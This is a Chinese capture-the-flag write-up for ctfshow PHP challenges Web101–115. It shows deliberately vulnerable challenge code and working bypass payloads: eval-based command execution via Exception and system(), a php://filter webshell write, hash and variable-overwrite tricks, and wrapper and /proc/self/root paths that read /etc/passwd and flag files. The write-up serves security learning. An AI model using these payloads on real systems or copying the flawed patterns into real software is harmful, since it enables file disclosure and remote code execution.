本文最后更新于:2021年8月30日晚上6点05分
Web101
修补100题非预期,替换0x2d
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
highlight_file(__FILE__); include("ctfshow.php");
$ctfshow = new ctfshow(); $v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3']; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if($v0){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){ eval("$v2('ctfshow')$v3"); } } }
?>
|
利用PHP的反射类Reflectionclass
payload如下:
1
| ?v1=0&v2=echo new Reflectionclass&v3=;
|

将得到的flag的0x2d替换为减号,然后爆破一下最后一位。
官方Hint:
1
| ?v1=1&v2=echo new Reflectionclass&v3=;
|
替换0x2d为-,最后一位需要爆破16次,题目给的flag少一位
Web102
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else{ die('hacker'); }
?>
|
这一题要求v2是数字,并且把v2的第三位数字开始写入到文件名为v3的文件中。
这里介绍一个神奇的字符串
1
| 5044383959474e6864434171594473
|
这一个字符串is_numeric函数返回是true,因为只包含e和数字,并且该字符串转十六进制结果如下:
再base64解码一下:
可以看到这里有一个短标签的内敛执行。
然后我们往v1里面传hex2bin,将十六进制转换为ASCII字符,在通过php伪协议控制v3,进行base64解码,就可以读取当前目录下所有文件内容了。
payload如下:
1 2
| ?v2=115044383959474e6864434171594473&v3=php: POSTDATA: v1=hex2bin
|
然后访问1.php即可得到flag
官方Hint:
1 2 3 4
| GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php POST v1=hex2bin
|
Web103
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| <?php
highlight_file(__FILE__); $v1 = $_POST['v1']; $v2 = $_GET['v2']; $v3 = $_GET['v3']; $v4 = is_numeric($v2) and is_numeric($v3); if($v4){ $s = substr($v2,2); $str = call_user_func($v1,$s); echo $str; if(!preg_match("/.*p.*h.*p.*/i",$str)){ file_put_contents($v3,$str); } else{ die('Sorry'); } } else{ die('hacker'); }
?>
|
和上一题一样的payload,虽然多过滤了php,但是上面的payload用的是短标签,所以过滤了个寂寞
1 2
| ?v2=115044383959474e6864434171594473&v3=php: POSTDATA: v1=hex2bin
|
访问2.php即可得到flag
官方Hint:
1 2 3 4
| GET v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php POST v1=hex2bin
|
Web104
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2)){ echo $flag; } }
?>
|
sha1绕过:
1 2
| ?v2=aaK1STfY POSTDATA: v1=aaroZmOk
|
甚至v1和v2提交的都一样也可以:
用数组也是可以的:
1 2
| ?v2[]=1 POSTDATA: v1[]=1
|
官方Hint:
1 2 3 4 5
| #payload aaK1STfY 0e76658526655756207688271159624026011393 aaO8zKZF 0e89257456677279068558073954252716165668
|
Web105
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php
highlight_file(__FILE__); include('flag.php'); error_reporting(0); $error='你还想要flag嘛?'; $suces='既然你想要那给你吧!'; foreach($_GET as $key => $value){ if($key==='error'){ die("what are you doing?!"); } $$key=$$value; }foreach($_POST as $key => $value){ if($value==='flag'){ die("what are you doing?!"); } $$key=$$value; } if(!($_POST['flag']==$flag)){ die($error); } echo "your are good".$flag."\n"; die($suces);
?>
|
变量覆盖套娃题,payload如下:
1 2
| ?suces=flag POSTDATA: error=suces
|
官方Hint:
1 2
| 考察:php的变量覆盖 payload: GET: ?suces=flag POST: error=suces
|
Web106
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){ $v1 = $_POST['v1']; $v2 = $_GET['v2']; if(sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
?>
|
可以用数组绕过:
1 2
| ?v2[]=2 POSTDATA: v1[]=1
|
或者利用sha1加密后为0e绕过:
1 2
| ?v2=aaK1STfY POSTDATA: v1=aaroZmOk
|
官方Hint:
无
Web107
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if(isset($_POST['v1'])){ $v1 = $_POST['v1']; $v3 = $_GET['v3']; parse_str($v1,$v2); if($v2['flag']==md5($v3)){ echo $flag; }
}
?>
|
parse_str函数:把查询字符串解析到变量中。
例如:
1 2 3 4
| <?php parse_str("name=Bill&age=60",$myArray); print_r($myArray); ?>
|
返回:
1
| Array ( [name] => Bill [age] => 60 )
|
payload如下:(其中md5(1)=c4ca4238a0b923820dcc509a6f75849b
)
1 2
| ?v3=1 POSTDATA: v1=flag=c4ca4238a0b923820dcc509a6f75849b
|
官方Hint:
1 2
| GET: ?v3=240610708 POST: v1=flag=0
|
Web108
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) { die('error');
}
if(intval(strrev($_GET['c']))==0x36d){ echo $flag; }
?>
|
ereg函数存在NULL截断漏洞,所以可以用%00绕过:
官方Hint:
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
Web109
换个姿势
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){ eval("echo new $v1($v2());"); }
}
?>
|
这题利用exception异常处理类来达到rce的目的
1
| ?v1=Exception&v2=system('tac fl36dg.txt')
|
带入其实就是:
1
| eval("echo new Exception(system('tac fl36dg.txt')());");
|
exception异常处理类的介绍:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| Exception {
protected string $message;
protected int $code;
protected string $file;
protected int $line;
public __construct([ string $message = ""[, int $code = 0[, Throwable $previous = NULL]]] )
final public string getMessage( void)
final public Throwable getPrevious( void)
final public int getCode( void)
final public string getFile( void)
final public int getLine( void)
final public array getTrace( void)
final public string getTraceAsString( void)
public string __toString( void)
final private void __clone( void) }
|
以下示例代码可以显示phpinfo页面:
1 2 3
| <?php
echo new Exception((phpinfo()));
|
官方Hint:
Exception 异常处理类 http://c.biancheng.net/view/6253.html
1 2
| payload: ?v1=Exception&v2=system('cat fl36dg.txt') ?v1=Reflectionclass&v2=system('cat fl36dg.txt')
|
Web110
我报警了
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php
highlight_file(__FILE__); error_reporting(0); if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){ die("error v1"); } if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){ die("error v2"); }
eval("echo new $v1($v2());");
}
?>
|
利用filesystemiterator自带类,得到文件fl36dga.txt
1
| ?v1=filesystemiterator&v2=getcwd
|
具体的使用方法另开一篇文章阐述。这里就直接给出payload。
官方Hint:
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
http://phpff.com/filesystemiterator
https://www.php.net/manual/zh/class.filesystemiterator.php
getcwd()函数 获取当前工作目录 返回当前工作目录 payload: ?v1=FilesystemIterator&v2=getcwd
Web111
变量覆盖
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| <?php
highlight_file(__FILE__); error_reporting(0); include("flag.php");
function getFlag(&$v1,&$v2){ eval("$$v1 = &$$v2;"); var_dump($$v1); }
if(isset($_GET['v1']) && isset($_GET['v2'])){ $v1 = $_GET['v1']; $v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); }
}
?>
|
因为var_dump是在方法内的,无法得到外部的flag变量的值,所以这里我们是用GLOBALS获取全局变量拿到我们的flag值
官方Hint:
考察:全局变量 为了满足条件,我们可以利用全局变量来进行赋值给ctfshow这个变量
payload: ?v1=ctfshow&v2=GLOBALS
Web112
函数绕过
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
可以通过伪协议绕过is_file函数
1
| ?file=php://filter/resource=flag.php
|
具体原理如下:
1 2 3
| <?php var_dump(is_file("/etc/passwd")); ?>
|
1 2 3
| <?php var_dump(is_file("php://filter/resource=/etc/passwd")); ?>
|
同时,is_file还存在目录溢出漏洞:
1 2 3 4 5
| <?php $a = "/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/etc/passwd"; var_dump(is_file($a)); highlight_file($a); ?>
|
输出结果如下:

官方Hint:
1 2 3 4
| php://filter/resource=flag.php php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php php://filter/read=convert.quoted-printable-encode/resource=flag.php compress.zlib://flag.php
|
Web113
函数绕过
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
同样还是利用协议绕过:
官方Hint:(利用了目录溢出)
1
| /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
|
Web114
函数绕过
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <?php
error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
这题没有过滤filter,所以可以用伪协议:
1
| ?file=php://filter/resource=flag.php
|
官方Hint:
1
| payload: php://filter/resource=flag.php
|
Web115
函数绕过
打开题目:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| <?php
include('flag.php'); highlight_file(__FILE__); error_reporting(0); function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
一个一个慢慢试,可以用换页符绕过(%0c)
官方Hint:
1 2
| payload:num?%0c36 %0c==\f
|